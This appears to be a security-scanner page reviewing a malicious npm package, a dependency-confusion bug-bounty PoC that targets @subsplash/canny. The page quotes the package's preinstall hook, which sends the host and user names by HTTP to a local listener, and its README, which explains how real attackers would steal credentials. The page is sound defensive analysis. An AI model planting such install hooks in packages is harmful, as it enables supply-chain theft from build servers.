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@rutxploit-sec/subsplash-canny@1.0.0: Malicious npm security | LPM Firewall

registry / @rutxploit-sec/subsplash-canny / 1.0.0

@rutxploit-sec/subsplash-canny@1.0.0

BUGBOUNTY PoC — represents @subsplash/canny — @subsplash/canny (2 refs) — Subsplash report 7a8faa0b

AI Security Review

scanned 11d ago · by lpm-firewall-ai

An npm preinstall hook automatically executes code during installation. It collects host and account identifiers and makes an HTTP request as part of an explicitly dependency-confusion-oriented package.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Installing the package causes npm to run its preinstall lifecycle hook.

Impact

A dependency-confusion resolution can execute package-controlled code in the consumer build environment and disclose basic machine identity to a locally reachable listener.

Mechanism

The hook uses inline Node code to obtain operating-system identifiers and sends them in an HTTP query to a loopback endpoint.

Attack narrative

The package is positioned for dependency confusion and has an active install-time payload. On installation, it collects the build host name and account name and sends an HTTP request to a loopback listener. Even though the package text calls this a proof of concept, that text is not evidence of consent or safety; the automatic lifecycle execution is concrete supply-chain abuse.

AI rationale

This package contains an active preinstall payload intended to run when a dependency-confusion target installs it. The automatic collection and network action make this a blockable install-hook abuse case.

Evidence

package.jsonindex.jsREADME.md

Network endpoints1

127.0.0.1:8099/

OSV advisory

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+e...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node -e \"var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});\" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/canny dep confusion EXECUTED — rutxploit'" }, "author":

High

Ai Review Evidence

The manifest runs an automatic preinstall command that reads the host name and local account name, then sends them by HTTP.

package.jsonView on unpkg · L5

package.json#scripts.preinstallView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.json#scripts.preinstallView on unpkg

index.jsView file

1var os=require("os"); console.log("[DEP-CONFUSION] @subsplash/canny loaded from PUBLIC npm"); module.exports={};

High

Suspicious Dependency Evidence

The runtime entry identifies the package as loaded from the public registry in a dependency-confusion context.

index.jsView on unpkg · L1

README.mdView file

16## How the attack works If Subsplash's CI/CD `npm install` resolves `@subsplash/canny` from the public registry (instead of their private registry), the `preinstall` script runs on their build server. A real attacker would use this for RCE: steal AWS credentials, deploy keys, source code. ## This PoC is safe This package only logs a message and sends a benign HTTP ping to a researcher-controlled server as proof of

High

Suspicious Lifecycle Evidence

The README describes a private-registry resolution scenario where the preinstall hook executes on a build server; its self-justification does not neutralize the active lifecycle payload.

README.mdView on unpkg · L16

Source & flagged code

6 flagged · loading source

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Ai Review Evidence

The manifest runs an automatic preinstall command that reads the host name and local account name, then sends them by HTTP.

package.jsonView on unpkg · L5

package.json#scripts.preinstallView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.json#scripts.preinstallView on unpkg

index.jsView file

1var os=require("os"); console.log("[DEP-CONFUSION] @subsplash/canny loaded from PUBLIC npm"); module.exports={};

High

Suspicious Dependency Evidence

The runtime entry identifies the package as loaded from the public registry in a dependency-confusion context.

index.jsView on unpkg · L1

README.mdView file

High

Suspicious Lifecycle Evidence

The README describes a private-registry resolution scenario where the preinstall hook executes on a build server; its self-justification does not neutralize the active lifecycle payload.

README.mdView on unpkg · L16

Source & flagged code

6 flagged

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Ai Review Evidence

The manifest runs an automatic preinstall command that reads the host name and local account name, then sends them by HTTP.

package.jsonView on unpkg · L5

package.json#scripts.preinstallView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.json#scripts.preinstallView on unpkg

index.jsView file

1var os=require("os"); console.log("[DEP-CONFUSION] @subsplash/canny loaded from PUBLIC npm"); module.exports={};

High

Suspicious Dependency Evidence

The runtime entry identifies the package as loaded from the public registry in a dependency-confusion context.

index.jsView on unpkg · L1

README.mdView file

High

Suspicious Lifecycle Evidence

The README describes a private-registry resolution scenario where the preinstall hook executes on a build server; its self-justification does not neutralize the active lifecycle payload.

README.mdView on unpkg · L16

@rutxploit-sec/subsplash-canny@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code